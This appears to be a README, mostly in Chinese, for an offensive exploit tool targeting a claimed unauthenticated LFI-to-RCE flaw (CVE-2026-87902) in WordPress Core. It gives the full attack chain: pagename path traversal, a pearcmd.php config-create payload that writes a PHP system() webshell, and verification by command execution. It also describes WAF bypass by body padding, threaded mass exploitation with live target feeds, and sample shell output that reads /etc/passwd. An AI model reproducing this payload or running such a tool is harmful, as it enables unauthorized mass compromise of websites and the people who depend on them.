针对 CVE-2026-87902 的 Python 漏洞利用程序,该漏洞是 WordPress Core ≤7.1.1 中的一个未认证 LFI:可对 OPML 进行指纹识别、检测 webroot、滥用 PEAR gadget 投放 webshell,并验证 RCE。
╔══════════════════════════════════════════════════════╗
║ ♡ CVE-2026-87902 · WordPress Core ♡ ║
║ Unauthenticated LFI → RCE · Affected <= 7.1.1 ║
║ === Majestic666 x Caterscam === ║
╚══════════════════════════════════════════════════════╝
WordPress Core ≤ 7.1.1 — 未授权 LFI → RCE
CVE-2026-87902 是 WordPress Core ≤ 7.1.1 中通过 locate_template() 触发的未授权本地文件包含漏洞。
查询字符串中的 pagename 参数未经净化即被传递给 locate_template(),从而允许路径遍历以包含服务器上已有的任意 PHP 文件——最关键的是 pearcmd.php,它通过 QUERY_STRING 接收参数,并可写入攻击者控制的文件。
pagename path traversal
└─ include ../../../../wp-links-opml.php ← LFI confirmation (OPML)
└─ include ../../../../usr/share/php/pearcmd.php ← PEAR gadget
└─ &+config-create+/<?=system($_GET[x]);?>+/dest.php
└─ mr666_<hex>.php ← webshell in wp-content/
└─ ?x=id → uid=33(www-data) ... ← RCE confirmed
| 功能 | 详情 |
|---|---|
| OPML 自动指纹识别 | 在 LFI 扫描前获取 wp-links-opml.php,提取结构化 XML/generator 签名,拒绝 OPML 内容之前出现 HTML 的误报 |
| 多源版本检测 | meta → rss → opml → readme → asset → login → install → wp-json |
| 自动 webroot 检测 | 3 种方法:PHP 错误路径泄露、wp-config.php ABSPATH、wp-load.php 路径 |
| 90+ 备用 webroot 模式 | cPanel、Plesk、Bitnami、Docker、DirectAdmin、Beget、LiteSpeed、Termux 等 |
| PEAR 层级扫描 | FAST 层级(20 条路径)→ 若 FAST 未命中则 FULL 层级(70+ 条路径) |
| WAF 绕过 | 50 KB POST 正文填充,将 pagename 推过 WAF 正文检查阈值 |
| Shell 输出清理器 | 去重 PEAR 重复 12 次的命令输出;提取干净的 uid= / uname 行 |
| 批量验证 | 对每个投放的 shell 运行 id,在标记为成功前确认实时 RCE |
| 实时模式 | 跟踪文件并在追加行时利用新目标——文件无需在启动时存在 |
| 单目标模式 | 具有完整 PTY 风格命令循环的交互式 shell |
urllib、ssl、re、json、threading)python3 majestic666.py
利用一个目标,获取一个 shell,并得到一个交互式命令提示符。
♡ [1] Single · interactive shell
◆ [2] Mass · batch file — one-shot or live tail
⚡ [3] Live · watch file, exploit new targets
✗ [4] Exit · see you next time ♡
♡ choice [1/2/3/4] : 1
♡ target url : https://target.com
────────────────────────────────────────────────────
◆ scanning https://target.com
◆ wp=7.0.3 (src=meta,opml) php=PHP/8.1.12 server=nginx
◆ opml sigs: 3
[*] lfi d=3 suf=templates http=200 OPML=YES
♡ LFI confirmed — depth=3 suffix=templates
[*] pear sweep tier1: 20 paths
[+] gadget /usr/share/php/pearcmd.php depth=4 (tier=FAST)
[*] webroot attempts: 186 (auto+defaults)
[*] write /var/www/html/wp-content/mr666_a3f8c192.php -> http=200
★ shell uploaded
★ ▶ https://target.com/wp-content/mr666_a3f8c192.php
♡ execute : curl 'https://target.com/wp-content/mr666_a3f8c192.php?x=id'
────────────────────────────────────────────────────
♡ shell> id
▶ uid=33(www-data) gid=33(www-data) groups=33(www-data)
♡ shell> uname -a
▶ Linux srv01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
♡ shell> cat /etc/passwd | head -3
▶ root:x:0:0:root:/root:/bin/bash
▶ daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
▶ bin:x:2:2:bin:/bin:/usr/sbin/nologin
♡ shell> exit
♡ bye ♡
自定义 shell:将
shell file提示留空以使用内置的<?=system($_GET[x]);?>webshell,或输入你自己的.php文件路径,通过 PEAR gadget 进行转发。
并行利用一组目标。包含两个子模式:一次性执行和实时跟踪。
处理一次目标文件后退出。
♡ choice [1/2/3/4] : 2
♡ [1] one-shot · process file once
⚡ [2] live · tail file, exploit new targets
♡ scan mode [1/2] : 1
◆ targets file [targets.txt] : targets.txt
◆ threads [1-50] : 20
╾────────────── BATCH SCAN ──────────────╼
◆ targets ▶ 150
◆ threads ▶ 20
◆ output ▶ rce.txt
◆ verify ▶ id
──────────────────────────────────────────────────
[1] https://vuln1.com [Wordpress 7.0.3] [ VULN ] [ RCE OK ] uid=33(www-data)...
[2] https://shop.nope.io [Not Wordpress or WAF]
[3] https://patched.net [Wordpress 7.1.2] [ PATCHED ]
[4] https://vuln2.org [Wordpress 6.9.1] [ VULN ] [ RCE OK ] uid=1000(deploy)...
[5] https://dead.example [ FAIL ] [ Failed ]
...
◆ [50/150] ♡ vuln=2 ★ rce=2 ⚠ unverif=0 ⚠ bypass=0 ✗ skip=46
╾────────────── RESULTS ──────────────────╼
◆ scanned ▶ 150
♡ vuln ▶ 4
♡ lfi only ▶ 1
★ rce ok ▶ 3
⚠ unverified ▶ 1
⚠ bypass ▶ 1
◆ patched ▶ 12
✗ skip ▶ 131
✗ dead ▶ 2
──────────────────────────────────────────────────
★ saved ▶ rce.txt
⚠ bypass ▶ bypass-manual.txt
与模式 [3] 相同,但通过 Mass 模式菜单访问。
♡ scan mode [1/2] : 2
◆ targets file [targets.txt] : feed.txt
◆ threads [1-50] : 10
[LIVE] Watching feed.txt — Ctrl+C to stop
Threads : 10
Output : rce.txt
──────────────────────────────────────────────────
[LIVE] queued https://new-target.com
[7] https://new-target.com [Wordpress 6.8.3] [ VULN ] [ RCE OK ] uid=33(www-data)...
立即开始监视文件。新出现的行会在出现时被利用。 该文件在启动时无需存在 — 当与追加目标的扫描器配合使用时非常有用。
♡ choice [1/2/3/4] : 3
⚡ targets file [targets.txt] : /tmp/discovered.txt
⚡ threads [1-50] : 15
[LIVE] Watching /tmp/discovered.txt — Ctrl+C to stop
Threads : 15
Output : rce.txt
──────────────────────────────────────────────────
[LIVE] queued https://site1.example.com
[LIVE] queued https://site2.example.com
[1] https://site1.example.com [Wordpress 7.0.1] [ VULN ] [ RCE OK ] uid=33(www-data)
[2] https://site2.example.com [Not Wordpress or WAF]
...
^C
[LIVE] Stopped.
──────────────────────────────────────────────────
♡ Vuln : 1
★ RCE OK : 1
⚠ Unverified : 0
⚠ Bypass : 0
✗ Skip : 1
──────────────────────────────────────────────────
★ saved ▶ rce.txt
| 文件 | 内容 |
|---|---|
rce.txt | <url> | [RCE OK] <shell_url> | <id output> |
bypass-manual.txt | <url> | lfi-only — 已确认 LFI,但未找到 PEAR gadget |
旧版基于 OPML 的 LFI 检测会匹配任何包含 <?xml + outline 的响应 — 从而在以下情况触发误报:
当前工作方式:
在 LFI 扫描之前,build_opml_fingerprint() 直接获取 wp-links-opml.php 并提取结构签名 — XML 声明、<opml> 标签结构以及 generator 属性前缀。这些签名在所有运行相同代码版本的 WordPress 安装中完全一致。
在 LFI 扫描期间,opml_hit(body, signatures) 在遍历响应中匹配这些签名。关键在于,如果任何 HTML 标签(<!doctype html、<html、<head)出现在 OPML 匹配位置之前,则该命中会被判定为 WAF/CDN 拦截并拒绝。
回退方案:如果指纹获取失败(OPML 端点被阻止),则使用通用回退签名,并采用相同的 HTML 拒绝逻辑。
┌─ wp-links-opml.php ──────────────────────────┐
│ <?xml version="1.0" ?> │
│ <opml version="1.0"> │
│ <head><title>links for ...</title></head> │
build_opml_fingerprint │ <body><outline ... /></body> │
extracts sigs ─────────►│ </opml> │
└───────────────────────────────────────────────┘
│
┌──────────────▼───────────────────────────────┐
│ LFI response body │
│ • sig found at pos 0? → HIT ✓ │
│ • HTML found at pos 0? → REJECT ✗ (WAF) │
│ • no sig found? → MISS │
└──────────────────────────────────────────────┘
Webroot 自动检测与回退路径覆盖: